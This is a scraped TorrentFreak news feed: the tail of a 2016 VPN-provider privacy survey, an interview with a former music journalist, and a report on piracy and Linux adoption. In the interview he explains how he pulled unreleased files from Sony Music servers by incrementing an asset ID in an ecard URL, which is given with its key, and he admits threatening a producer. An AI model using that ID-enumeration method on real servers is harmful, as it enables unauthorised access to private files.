<p>2. Privatus Limited, Gibraltar.</p>
<p>3. No. We made a strategic decision from day one that no company or customer data would ever be stored on 3rd party systems. Our customer support software, email, web analytics (Piwik), issue tracker, monitoring servers, code repo’s, configuration management servers etc. all run on our own dedicated servers that we setup, configure and manage. No 3rd parties have access to our servers or data.</p>
<p>4. Our legal department sends a reply stating that we do not store content on our servers and that our VPN servers act only as a conduit for data. In addition, we never store the IP addresses of customers connected to our network nor are we legally required to do so.</p>
<p>5. Firstly, this has never happened. However, if asked to identify a customer based on a timestamp and/or IP address then we would reply factually that we do not store this information, so we are unable to provide it. If they provide us with an email address and asked for the customer’s identity then we would reply that we do not store any personal data. If the company were served with a valid court order that did not breach the Data Protection Act 2004 we could only confirm that an email address was or was not associated with an active account at the time in question.</p>
<p>6. Yes, we don’t block BitTorrent or any other protocol on any of our servers. We do kindly request that our customers use non-USA based exit servers for P2P. Any company receiving a large number of DMCA notices is exposing themselves to legal action and our upstream providers have threatened to disconnect our servers in the past.</p>
<p>7. We accept Bitcoin, Cash, PayPal and credit cards. When using cash there is no link to a user account within our system. When using Bitcoin, we store the Bitcoin transaction ID in our system. If you wish to remain anonymous to IVPN you should take the necessary precautions when purchasing Bitcoin. When paying with PayPal or a credit card a token is stored that is used to process recurring payments. This information is deleted immediately when an account is terminated.</p>
<p>8. We provide RSA-4096 / AES-256 with OpenVPN, which we believe is more than secure enough for our customers’ needs. If you are the target of a state level adversary or other such well-funded body you should be far more concerned with increasing your general opsec than worrying about 2048 vs 4096 bit keys. </p>
<p>The IVPN client offers an advanced VPN firewall that blocks every type of IP leak possible (DNS, network failures, WebRTC STUN, IPv6 etc.). It also has an ‘always on’ mode that will be activated on boot before any process on the computer starts. This will ensure than no packets are ever able to leak outside of the VPN tunnel.</p>
<p>9. Yes, we offer a custom OpenVPN based client for Windows and OSX which includes our advanced VPN firewall that blocks every type of possible IP leak.</p>
<p>10. Yes, absolutely.</p>
<p>11. We use bare metal dedicated servers leased from 3rd party data centers in each country where we have a presence. We install each server using our own custom images and employ full disk encryption to ensure that if a server is ever seized it’s data is worthless. We also operate an exclusive multi-hop network allowing customers to choose an entry and exit server in different jurisdictions which would make the task of legally gaining access to servers at the same time significantly more difficult.</p>
<p>12. Iceland, Switzerland, Sweden, United Kingdom, Netherlands, Germany, Romania, France, Italy,  Hong Kong, USA, Canada, </p>
<p><a href="http://www.ivpn.net/">IVPN website</a></p>
<h2><a name="liquidvpn"></a><a href="http://www.liquidvpn.com/">LiquidVPN</a></h2>
<p><a href="media/423e344b.liquid.png" data-original-source="http://torrentfreak.com/images/liquid.png"><img src="media/423e344b.liquid.png" data-original-source="http://torrentfreak.com/images/liquid.png" alt="liquid" width="160" height="65" class="alignright size-full wp-image-85312"></a>1. No, we do not. </p>
<p>2. LiquidVPN Inc out of Wyoming, USA</p>
<p>3. We use Google Analytics with Anonymous IPs turned throughout the site. We use Facebook insights and Open Graph on our front end website to track our blogs impact on social media. We use Stripe as our credit card processor.</p>
<p>4. All datacenters in the USA require some response now. Some are just a simple checkbox, and others want a written reply. We have had to remove servers from several locations because of our zero log policy. We respect and abide by U.S. and EU copyright laws including the requirements of the DMCA and rely on our users to do the same. Because we do not log our users’ activities we are not able to identify users, that may be infringing the legal copyrights of others. </p>
<p>5. This has never happened. Depending on your payment method we limit the amount of personal data on file. So much so that if a user pays with Bitcoin it is just a first name and email address. If a valid court order comes in asking us to identify someone that is in our system, we would be required to provide that persons billing information. Even if it is just a transaction number, first name and email address.</p>
<p>6. Yes, they are.</p>
<p>7. We currently accept Credit cards, BTC, cash and PayPal. Billing and Authentication are separate. Recently we have completely overhauled our billing and authentication infrastructure to make use of SHA512 salted credentials that our billing system updates using encrypted tokens. Everything related to billing and user authentication that is sent &#8220;over the wire&#8221; is done so with the use of proxies on both sides that encrypt the data using 256 bit AES encryption and pass it to another proxy that turns it back into something our authentication network can process.  </p>
<p>8. Well if you are concerned about your privacy then use our IP Modulation. Which changes a user&#8217;s public IP address several times during a single page load. It can sometimes break websites, so we recommend it only for that 1% of users. </p>
<p>We use AES-256-CBC, 4096 bit RSA keys and SHA512 auth. Currently, it is the best encryption OpenVPN supports natively. Our software comes with a tool called Liquid Lock which builds custom firewall rules using your Operating systems firewall to prevent DNS leaks, disconnect leaks, WebRTC leaks, IPv6 leaks and any other type of leak preventable with firewall rules.</p>
<p>9. Yes, we do. We have Windows, Mac and Android applications currently available. OSX and Linux are in production. Our client only keeps essential connection logs for the active session, once the session is disconnected the logs erase from memory.</p>
<p>10. Yes, they provide SMART DNS functionality for USA and UK content providers.</p>
<p>11. We have control over our network. Every server we own runs on either a custom compiled Gentoo kernel or RouterOS. We lease the hardware from tier 3 or higher datacenters all over the world. No one but us has access to these servers.</p>
<p>12. Currently, we have multiple USA and the Netherlands locations. We also have servers in Canada, the United Kingdom, Sweden, Germany, Romania, Singapore and Switzerland.</p>
<p><a href="http://www.liquidvpn.com/">LiquidVPN website</a></p>
<h2><a name="smartvpn"></a><br>
<h2><a href="https://www.smartvpn.com/en/">SmartVPN</a></h2>
<p><img src="media/cf087a5e.smartvpn.jpg" data-original-source="http://torrentfreak.com/images/smartvpn.jpg" alt="smartvpn" width="180" height="56" class="alignright size-full wp-image-118173"><br>
1. We don&#8217;t keep any kind of logs.</p>
<p>2. The company name is Anonymous SARL and operates under the jurisdiction of the Kingdom of Morocco.</p>
<p>3. We use Google Analytics and Tawk live support.</p>
<p>4. There is nothing to take down since we don&#8217;t host any files in the first place.</p>
<p>5. This has never happened before, but we won&#8217;t be able to cater their demand as we can&#8217;t identify that user within our system.</p>
<p>6. BitTorrent and other P2P protocols are allowed on all our servers.</p>
<p>7. We use BitPay ( BitCoins ), PayPal, HiPay.</p>
<p>8. We recommend OpenVPN for Desktop and IKEv2 for Mobile devices, As of the encryption we use AES-256-CBC algorithm. DNS leak protection is already enabled however &#8220;kill switches&#8221; will be available soon.</p>
<p>9. We provide custom VPN application for Mac and Windows-based on OpenVPN, and Mobile apps ( Android and iOS ) based on IKEv2. And again.. we do not keep any connections logs.</p>
<p>10. We use our own DNS servers.</p>
<p>11. We have a mix, physical control over most of our infrastructure and some exotic locations are hosted by 3rd party partners.</p>
<p>12. Germany, Netherlands, France, USA, Morocco, Russia, Canada, United Kingdom, Spain, Italy, Ukraine, Singapore, Brazil, Korea, Sydney, Ireland, Japan and Isle Of Man&#8230; And of course new servers/locations are added on a weekly basis.</p>
<p><a href="https://www.smartvpn.com/en/">SmartVPN website</a></p>
<h2><a name="privatevpn"></a><br>
<h2><a href="https://privatevpn.com/">PrivateVPN</a></h2>
<p><a href="media/3f4973e2.privatvpn.jpg" data-original-source="http://torrentfreak.com/images/privatvpn.jpg"><img class="alignright size-full wp-image-41044" title="privatvpn" src="media/3f4973e2.privatvpn.jpg" data-original-source="http://torrentfreak.com/images/privatvpn.jpg" alt="VPN review" width="180" height="53"></a>1. We don’t keep ANY logs that allow us or a 3rd party to match an IP address and a time stamp to a user of our service. We value the privacy of our customers.</p>
<p>2. Privat Kommunikation Sverige AB and we operate under Swedish jurisdiction.</p>
<p>3. We use a service from Provide Support (ToS) for live support. They do not hold any information about the chat session. From Provide support: Chat conversation transcripts are not stored on Provide Support chat servers. They remain on the chat server for the duration of the chat session, then optionally sent by email according to the user account settings, and then destroyed. We&#8217;re also using Google Analytics and Statcounter for collecting static of how many visitors we have, popular pages and conversion of all ads. This data is used for optimization of the website and advertisement.</p>
<p>4. We do not store any kind of logs of our customers&#8217; activity, which also will be informed.</p>
<p>5. Due to our policy of NOT keeping any logs, there is nothing to provide about users of our service. It has never happened.</p>
<p>6. Yes, we allow Torrent traffic. We buy high-capacity internet traffic so we can meet the demands. On some locations we use Tier1 IP transit providers for best speed and routing to other peers.</p>
<p>7. PayPal, Payson, Bitcoin. Every payment has an order number, which is linked to a user. Otherwise we wouldn’t know who has made a payment. To be clear, you can’t link a payment to an IP address you get from us or a user activity.</p>
<p>8. OpenVPN TUN with AES-256. On top is a 2048-bit DH key. For our Windows VPN client, we have a feature called “Connection guard”, which will close a selected program(s) if the connection drop. We have no tools for DNS leak but, best way, which is always 100%, is to change the local DNS on the device to DNS servers we provide. We&#8217;re working with a feature that doing this so the customer don&#8217;t need to change it manually for 100% protection.</p>
<p>9. Yes, for Windows. We&#8217;re working on a custom VPN application for Mac OS X also. Our VPN application, as all other VPN applications, stores a connection log local on the computer for troubleshooting purpose. This information is only stored locally and can&#8217;t be accessed by us or anyone else. The connection logs contains information about which VPN server the user is connecting to and any kind of errors.</p>
<p>10. We use a DNS from Censurfridns.</p>
<p>11. We have physical control over our servers and network in Sweden. All other servers and networks are hosted by ReTN, Kaia Global Networks, Leaseweb, Blix, Creanova, UK2, Fastweb, Server.lu, Selectel and Netrouting. We ONLY work with trusted providers.</p>
<p>12. Sweden, United States, Switzerland, Great Britain, France, Denmark, Luxembourg, Finland, Norway, Romania, Russia, Germany, Netherlands, Canada, Singapore, Australia, Spain, Italy, Poland and Ukraine. We&#8217;re still expanding our locations on customers&#8217; demands.</p>
<p><a href="https://privatevpn.com/">PrivateVPN website</a></p>
<h2><a name="cryptostorm"></a><a href="https://cryptostorm.is/">CryptoStorm</a></h2>
<p><img src="media/31c4cee8.cryptostorm.png" data-original-source="http://torrentfreak.com/images/cryptostorm.png" alt="cryptostorm" width="180" height="77" class="alignright size-full wp-image-102256"><br>
1. Nope, no logs. We use OpenVPN with logs set to /dev/null, and we&#8217;ve even gone the extra mile by preventing client IPs from appearing in the temporary &#8220;status&#8221; logs using our patch available at <a href="https://cryptostorm.is/noip.diff">https://cryptostorm.is/noip.diff</a>.</p>
<p>2. We’re a decentralized project, with intentional separation of loosely-integrated project components. We own no intellectual property, patents, trademarks, or other such things that would require a corporate entity in which ownership could be enforced by the implied threat of State-backed violence; all our code is published and licensed opensource.</p>
<p>3. No, we don&#8217;t use any external visitor tracking or email providers..</p>
<p>4. Our choice is to reply to any such messages that are not obviously generated by automated (and quite likely illegal) spambots. In our replies, we ask for sufficient forensic data to ascertain whether the allegation has enough merit to warrant any further consideration. We have yet to receive such forensic data in response to such queries, despite many hundreds of such replies over the years.</p>
<p>5. See above. We have never received any valid court orders requesting the identity of a user, but if we ever did receive such a request, it would be impossible for us to comply as we keep no such information.</p>
<p>6. Yes, all traffic is allowed.</p>
<p>7. We accept PayPal and bitcoin via BitPay, although we will manually process any other altcoin if a customer wishes. We don’t have financial information connected in any way to the real-life identity of our network members; our token-based authentication system removes this systemic connection, and thus obviates any temptation to &#8220;squeeze&#8221; us for private data about network membership. We quite simply know nothing about anyone using our network&#8230; save for the fact that they have a non-expired (SHA512 hash of a) token when they connect. Also, we now process BitPay orders instantly in-browser, so we no longer require an email address for bitcoin orders.</p>
<p>8. We only support one cipher suite on-net. Offering &#8220;musical chairs&#8221; style cipher suite roulette is bad opsec, bad cryptography, and bad administrative practice. There is no need to support deprecated, weak, or known-broken suites in these network security models; unlike browser-based https/tls, there are no legacy client-side software suites that must be supported. As such, any excuse for deploying weak cipher suites is untenable. Everyone on cryptostorm receives equal and full security attention, including those using our free/capped service &#8220;Cryptofree&#8221;</p>
<p>There are no &#8220;kill switch&#8221; tools available today that actually work. We have tested them, and until we have developed tools that pass intensive forensic scrutiny at the NIC level, we will not claim to have such. Several in-house projects are in the works, but none are ready yet for public testing.</p>
<p>We take standard steps to encourage client-side computing environments to route DNS queries through our sessions when connected. However, we cannot control things such as router-based DNS queries, Teredo-based queries that slip out via IPv6, or unscrupulous application-layer queries to DNS resolvers that, while sent in-tunnel, nevertheless may be using arbitrary resolver addressing. Our Windows client attempts to prevent some of this, but it&#8217;s currently impossible to do so completely. We are saddened to see others who claim they have such &#8220;magical&#8221; tools; getting a &#8220;pass&#8221; from a handful of &#8220;DNS leak&#8221; websites is not the same as protecting all DNS query traffic. Those who fail to understand that are in need of remedial work on network architecture.</p>
<p>As we run our own mesh-based system of DNS resolvers, &#8220;deepDNS&#8221;, we have full and arbitrary control over all levels of DNS resolution presentation to third parties.</p>
<p>9. We offer an open source application written in Perl (dubbed the &#8220;CS widget&#8221;), source code available at <a href="https://github.com/cryptostorm/cstorm_widget/blob/master/client.pl"> https://github.com/cryptostorm/cstorm_widget/blob/master/client.pl</a>. Currently only for Windows, but we are working on porting it to Linux. The application is essentially an OpenVPN GUI with some tweaks here and there to prevent different types of leaks (DNS, IPv6, etc.), and to make connecting as easy as possible. Output from the backend OpenVPN process is shown in the GUI. When you exit the program, that data is forgotten.</p>
<p>10. We have constructed a mesh-topology system of redundant, self-administered secure DNS resolvers which has been collected under the label of &#8220;deepDNS&#8221;. deepDNS is a full in-house mechanism that prevents any DNS related metadata from being tied to any particular customer. It also allows us to provide other useful features such as transparent .onion, .i2p, .p2p, etc. access. There is also DNSCrypt support on all deepDNS servers to help protect pre-connect DNS queries.</p>
<p>11. We deploy nodes in commodity datacenters that are themselves stripped of all customer data and thus disposable in the face of any potential attacks that may compromise integrity. We have in the past taken down such nodes based on an alert from onboard systems and offsite, independently maintained remote logs that confirmed a violation was taking place. It is important to note that such events do not explicitly require us to have physical control of the machine in question: we push nameserver updates, via our HAF (Hostname Assignment Framework) out via redundant, parallel channels to all connected members and by doing so we can take down any node on the network within less than 10 minutes of initial commit.</p>
<p>12. Our current server list (as of the beginning of 2016) are: Moldova, Switzerland, Canada, Portugal, Germany, Italy, France, England ans USA. Keep in mind that we are constantly adding new servers to <a href="http://uptime.statuscake.com/?TestID=tZj3HbyKm5">this list</a>.</p>
<p><a href="https://cryptostorm.is/">CryptoStorm website</a></p>
<h2><a name="bolehvpn"></a><a href="http://bolehvpn.net/">BolehVPN</a></h2>
<p><img src="media/3266372e.bolehvpn.jpg" data-original-source="http://torrentfreak.com/images/bolehvpn.jpg" alt="bolehvpn" width="182" height="61" class="alignright size-full wp-image-66056">1. No.</p>
<p>2. BV Internet Services Limited, Seychelles.</p>
<p>3. We use Zendesk and Zopim but will be weening this off. We generally delete Zendesk tickets older than 6 months. We are exploring moving to open source self hosted options (such as osticket) but feel that the user experience of such options are less than ideal. This is definitely an area that we are actively looking at with the revision of our customer portal that is underway.  We have been using Google Analytics to gauge our conversions and where our customers are coming from but have removed this. E-mail is self hosted.</p>
<p>4. Generally we work with the providers to resolve the issue and we have never given up any of our customer information. Generally we terminate our relationship with the provider if this is not acceptable. Our US servers under DMCA jurisdiction or UK (European equivalent) have P2P locked down.</p>
<p>5. This has not happened yet but we do not keep any user logs so there is not much that can be provided especially if the payment is via an anonymous channel. One of our founders is a lawyer so such requests will be examined on its validity and will resist such requests if done without proper cause or legal backing. We also endeavor to keep our customers informed if there are any such requests. If we are prevented from doing so, we also maintain a PGP signed warrant canary which is updated in the first week of every month which will cease to be updated if we are required to log without informing our users.  (http://bolehvpn.net/canary.html)</p>
<p>6. Yes, it is allowed except on those marked Surfing-Streaming and BolehGEO which are restricted either due to the provider&#8217;s policies or limited bandwidth.</p>
<p>7. We use MolPay, 2Checkout, Paypal, Coinbase (Bitcoin), Coinpayments (Dash and XEM) and direct deposits. On our system it is only marked the Invoice ID, the account it&#8217;s for, the method of payment and whether it&#8217;s paid or not. We however of course do not have control of what is stored with the payment providers.</p>
<p>8. Our Cloak configurations implement 256 bit AES and a SHA-512 HMAC combined with a scrambling obfuscation layer. We do have a lock down/kill switch feature and DNS leak protection.</p>
<p>9. Yes, for Windows and Mac OS X. There&#8217;s a basic user log with a very minimal verbosity level of 1 (where 0 is silent and 9 is most verbose) stored in log.txt in the installation folder. Users are free to delete this if they wish from time to time. They are mainly used for troubleshooting purposes.</p>
<p>10. Yes, we do use our own DNS servers.</p>
<p>11. Our servers are rented from server providers throughout the world with whom we have built a longstanding relationship. However we do retain full root access. We are not a white label reseller and control our own infrastructure. It is to be noted that our VPN service authenticates entirely using public key infrastructure (PKI) without the requirement to use a central authentication server. This means that there is no communication needed from our customer portal server to establish a valid VPN connection to our VPN servers meaning there is no central authentication point.</p>
<p>12. We have servers in Canada, France, Germany, Italy, Japan, Luxembourg, the Netherlands, Singapore, Switzerland, United Kingdom and United States.</p>
<p><a href="http://bolehvpn.net/">BolehVPN website</a></p>
<h2><a name="anonymizer"></a><a href="https://anonymizer.com/index.html">Anonymizer</a></h2>
<p><a href="media/9bcd5f14.anonimizer.png" data-original-source="http://torrentfreak.com/images/anonimizer.png"><img src="media/9bcd5f14.anonimizer.png" data-original-source="http://torrentfreak.com/images/anonimizer.png" alt="anonimizer" width="180" height="54" class="alignright size-full wp-image-85321"></a>1. Anonymizer does not log ANY traffic that traverses our system, ever. We do not maintain any logs that would allow you to match an IP-address and time stamp to a user of our service. </p>
<p>2. Our company is registered as Anonymizer Inc. Anonymizer Inc. operates under U.S. jurisdiction where there are no data retention laws.</p>
<p>3. Anonymizer uses a ticketing system for support, but does not request user verification unless it is needed specifically in support of a ticket. Anonymizer uses a bulk email service for email marketing, but does not store any details on the individual email address that would connect them to being an existing customer. Anonymizer uses Google Analytics and Google Adwords to support general marketing to new customers. Both of these tools do not store identifiable information on any unique customer or any way to identify a specific individual as a user of our service. We also actively ensure no link is created to from the data in either system to any specific customer following a trial or purchase of our product.</p>
<p>4. We can’t. We don’t monitor or log traffic. When we receive reports of abuse, we have no way to isolate or remediate it.</p>
<p>5. Anonymizer Inc. only responds to official valid court orders or subpoenas that comply with information we have available. Since we do not log any traffic that comes over our system, we have nothing to provide in response to requests associated to service use. If a user paid by credit card we can only confirm that they purchased access to our service. There is, and would be, no way to connect a specific user to specific traffic ever. There have been instances were we did receive valid court orders and followed our above procedures. In the 20 years of service we have never identified details about a customer’s traffic or activities.</p>
<p>6. All traffic is allowed on all of our servers. </p>
<p>7. Anonymizer Inc. uses a payment processor for our credit card payments. There is a record of the payment for the service and the billing information associated to the credit card confirming the service has been paid for. We also offer a cash payment option and will soon offer crypto-currency options i.e. Bitcoin. Cash payment options do not store any details.</p>
<p>8. We would recommend OpenVPN for a user that is looking for the most secure connection. We feel it is the most reliable and stable connection protocol currently. Our OpenVPN implementation uses AES-256. We also offer L2TP, which is IPSEC. Anonymizer’s client software has the option to enable a kill switch that prevents any web traffic from exiting your machine without going through the VPN.</p>
<p>9. We offer a custom VPN application for OSX and Windows. Our default application log only logs fatal errors that occur within the application which prevents the application from running.</p>
<p>10. Yes, we operate our own DNS servers.</p>
<p>11. We own ALL of our hardware, and have full physical control of our servers. No third party has access to our environment.</p>
<p>12. We have servers in the United States and Netherlands.</p>
<p><a href="https://anonymizer.com/index.html">Anonymizer website</a></p>
<h2><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition">More VPN providers Without Logs</a></h2>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#strongvpn">StrongVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#vpnland">VPN Land</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#octanevpn">OctaneVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#zorrovpn">ZorroVPN</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#hideme">Hide.me</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#airvpn">AirVPN</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#hideipvpn">HideIPVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#ovpn">OVPN</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#perfectprivacy">Perfect Privacy</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#proxysh">Proxy.sh</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#vpnsecure">VPNsecure</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#securevpnto">SecureVPN.to</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#cryptostorm">Cryptostorm</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#doublehop">Doublehop</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-editionnordvpn">NordVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#vikingvpn">VikingVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#shadeyouvpn">ShadeyouVPN</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition#ghostpath">Ghostpath</a></h3>
<h2><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2">VPN providers With Some Logs (max 7 days)</a></h2>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2#nolimitvpn">NolimitVPN</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2#vpnunlimited">VPN Unlimited</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2#faceless">Faceless</a><br>
<h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2#ironsocket">Ironsocket</a></h3>
<h3><a href="https://torrentfreak.com/anonymous-vpn-providers-2016-edition2#seed4me">Seed4.me</a></h3>
<p>VPN providers who think they deserve a listing in this overview are welcome to get in touch. </p>
<p><em>Note: several of the providers listed in this article are TorrentFreak sponsors.</em></p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118015
title: Meet the ‘Pirate’ Journalist Hunted By the Music Labels
uri: Meet-the-Pirate-Journalist-Hunted-By-the-Music-Labels
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/qczzfq1GMfY/
content:
<p>Three and a half years ago TF stumbled across a little goldmine. For reasons best known to IFPI their Latin America intranet had started spewing private anti-piracy related documents onto a public facing webpage. </p>
<p>We published several reports on the information IFPI had inadvertently revealed to the world, which included an <a href="https://torrentfreak.com/leaked-ifpi-tutorial-on-how-to-stop-pre-release-music-leaks-120729/">interesting presentation</a> on how pre-release music piracy could be reduced.</p>
<p><Center><img src="media/9f423724.ifpiintranet.jpg" data-original-source="https://torrentfreak.com/images/ifpiintranet.jpg" width="475" height="276" class="alignnone"></center></p>
<p>One of the slides alleged that a South American blogger called “ALEKO” had been observed by the labels posting pre-release music online. IFPI went on to say that they&#8217;d identified ALEKO as a music journalist and in an effort to stop his activities had sent a local investigator to track him down.</p>
<p>According to IFPI, ALEKO told their investigator that he&#8217;d been obtaining music from hackers while also confessing to blackmailing producers. So what happened to ALEKO and the investigation into his activities?</p>
<p>This week ALEKO contacted TorrentFreak and subsequently agreed to tell us more about his experiences with the IFPI. Had he really been leaking pre-release music online? Did he know hackers? Had he blackmailed anyone? Is he really a journalist from South America?</p>
<p>&#8220;Yes, I&#8217;m from Venezuela. That&#8217;s true. Right now I&#8217;m here just visiting, but I live in Bogotá, Colombia,&#8221; ALEKO told TF.</p>
<p>&#8220;I&#8217;m 27-years-old and well, I&#8217;ve done a little bit of everything after the music thing. I used to work at LaPatilla.com, Venezuela&#8217;s biggest news website.&#8221;</p>
<p>As the sixth most popular site in the country, LaPatilla.com is definitely influential. ALEKO said he was interested in the perks of the job there, such as gaining access to concerts and press interviews and, of course, experiencing pre-release music.</p>
<p>But while ALEKO did get to hear music early, how did he get copies of tracks up front? Well, it turns out that much like when the IFPI accidentally published their anti-piracy reports to the public, a huge record label had no idea how to properly secure its servers.</p>
<p>&#8220;I got the pre-release material from Sony Music&#8217;s servers. They had a BIG bug on internal ecards but it wasn&#8217;t like hacking,&#8221; ALEKO explains.</p>
<p>According to the former journalist Sony would provide him with a URL, much like the one shown below.</p>
<p><sic>hXXps://ecard.mds.sonymusic.com/ecard/retrieveContent.action?getAsset=&#038;authenticationKeyCode=2A3F08CC-6092-B042-33FB-80E874EA95DF&#038;assetId=365400</div>
<p>However, the only thing that changed with each item of content was the &#8216;assetId&#8217; at the end of the URL. Amending this would provide access to endless material.</p>
<p>&#8220;The only thing you needed to do was change the number at the end of that link (like for example changing 365400 to 365401). Each number was a different file such as PDFs, MP3s, WAVs, ZIPs, RARs, internal files like budgets, demos, instrumentals, acapellas, etc.&#8221;</p>
<p>But one item in particular remains particularly close to ALEKO&#8217;s heart.</p>
<p>&#8220;I think the most treasured thing we found on that server was an unreleased music video by Michael Jackson. I never liked him, but this was like gold. I know [some other people] sold it illegally to a few fans,&#8221; ALEKO reveals.</p>
<p>But interestingly enough, ALEKO insists that he never leaked full tracks online.</p>
<p>&#8220;I posted a few clips on my old Twitter account but that was it, I never leaked full songs or stuff. I knew that what I was doing was kind of illegal, that&#8217;s why I never got money benefits from my job at LaPatilla. For me it was enough getting into free concerts and press interviews,&#8221; he says.</p>
<p>As an artist and former remixer, ALEKO says that he was really interested in the recording sessions he found on Sony&#8217;s servers, particularly acapellas. Obtaining these before anyone else enabled him to quickly get his own remixes to A&#038;R agents. But despite the head start, he had limited mainstream success.</p>
<p>&#8220;My mixes never got signed by Sony Music, Universal or a big label because my music wasn&#8217;t &#8216;commercial enough for radio&#8217;. I never wanted to make music for radio pop shit, I wanted to give a pop song a club rave feel, so my music would be played in clubs by real DJs,&#8221; he says.</p>
<p>But according to the 27-year-old it was his love of remixing and his desire to obtain acapellas by almost any means that eventually led IFPI to his door.</p>
<p>&#8220;The only reason IFPI tracked me was because I threatened a producer that I was going to leak a LOT of his recent unfinished stuff if he didn&#8217;t send me a couple of acapellas I wanted. I didn&#8217;t use my VPN to do that,&#8221; he recalls.</p>
<p>&#8220;I knew they were somehow watching me because I got a few emails before they appeared at my place. But it wasn&#8217;t until I emailed some producers to ask for some stuff that they got my real address. Of course I used fake emails, locations and a paid VPN to secure myself. But that time I think I was stupid enough to forget logging into the VPN.&#8221;</p>
<p>A few weeks later, in the first couple of months of 2012, IFPI got personal.</p>
<p>&#8220;[Their investigators] came to my place in Caracas, Venezuela, and told me they were the FBI, which is pretty stupid. They called into my apartment intercom and asked for my real name. I went down and they started threatening me and talking about jail,&#8221; ALEKO says.</p>
<p>&#8220;They make me sign a piece of paper that said something like &#8216;I, [real name redacted] am not going to leak any pre-release music anymore&#8217; or face getting sued by them. I was of course scared because I wasn&#8217;t in a place that allowed me to pay for a good defense like [The Pirate Bay&#8217;s] Gottfrid Svartholm or Peter Sunde had. They made me feel like shit, called my job and of course I got fired.&#8221;</p>
<p>After his run in with IFPI, ALEKO stopped making remixes and of course no longer had a job as a journalist. While he&#8217;s since begun remixing again and still loves music, he could never see himself working for a label.</p>
<p>&#8220;Of course, the money would be great but that freedom they take away from the artist isn&#8217;t worth it. Its like selling your soul to the devil, you know?&#8221; he concludes.</p>
<p>Now, about that Michael Jackson video&#8230;&#8230;</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=117870
title: Software Piracy Hurts Linux Adoption, Research Finds
uri: Software-Piracy-Hurts-Linux-Adoption-Research-Finds
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/GboS565cvF8/
content:
<p><a href="media/d4825a36.microsoft-pirate.png" data-original-source="http://feed.torrentfreak.com/images/microsoft-pirate.png" rel="attachment wp-att-51663"><img src="media/b4f20436.microsoft-pirate.png" data-original-source="http://torrentfreak.com/images/microsoft-pirate.png" alt="microsoft-pirate" width="225" height="137" class="alignright size-full wp-image-51663"></a>It&#8217;s no secret that the Windows operating system is one of the most widely pirated pieces of software in the world. </p>
<p>Microsoft is not happy with this fact as it costs the company millions in lost revenue, but new research suggests that Linux adoption is being hurt as well. </p>
<p>New findings published by Norwegian economics researcher Arne Rogde Gramstad show that software piracy significantly decreases the adoption of desktop Linux distributions. </p>
<p>In <a href="http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2728248">a paper</a> titled &#8220;Software Piracy and Linux Adoption&#8221; Gramstad examines the relationship between local software piracy rates (based on BSA&#8217;s data) and the use of Linux as a desktop operating system, while controlling for potentially interfering factors such as the gross domestic product per capita and local anti-piracy efforts. </p>
<p>This results in a model which predicts that more people would use Linux if software piracy in general was less prevalent in a country. </p>
<p>&#8220;I find that an increase in the piracy rate by 1% in a country is expected reduce the user share of Linux by around 0.5%. Although there is some level of uncertainty on the exact estimate, the direction is negative with a high level of statistical certainty,&#8221; Gramstad explains to TorrentFreak.</p>
<p>This means that if all piracy was to disappear the number of Linux users would increase by 50%. While that&#8217;s an impressive number, the relative impact is modest. In most countries Linux is used by roughly 1% of desktop users, which would increase to 1.5%.</p>
<p>It does bring up an interesting issue though, as it suggests that Microsoft&#8217;s dominant position is actually reinforced through piracy. </p>
<p>&#8220;I think the results highlight that there are costs to software piracy besides losses to corporate profits,&#8221; Gramstad tells TF</p>
<p>&#8220;For operating systems, piracy has contributed to Windows&#8217; dominant position, which in effect has undermined competition from open-source alternatives like Linux.&#8221;</p>
<p>More research is needed to see how other external factors may influence the relationship between piracy and Linux adoption, but Gramstad is confident that the direction of the results is stable. </p>
<p>While it&#8217;s doubtful that Microsoft is going to start encouraging piracy, the results show that the effect of software piracy is not always as straightforward as one would think.</p>
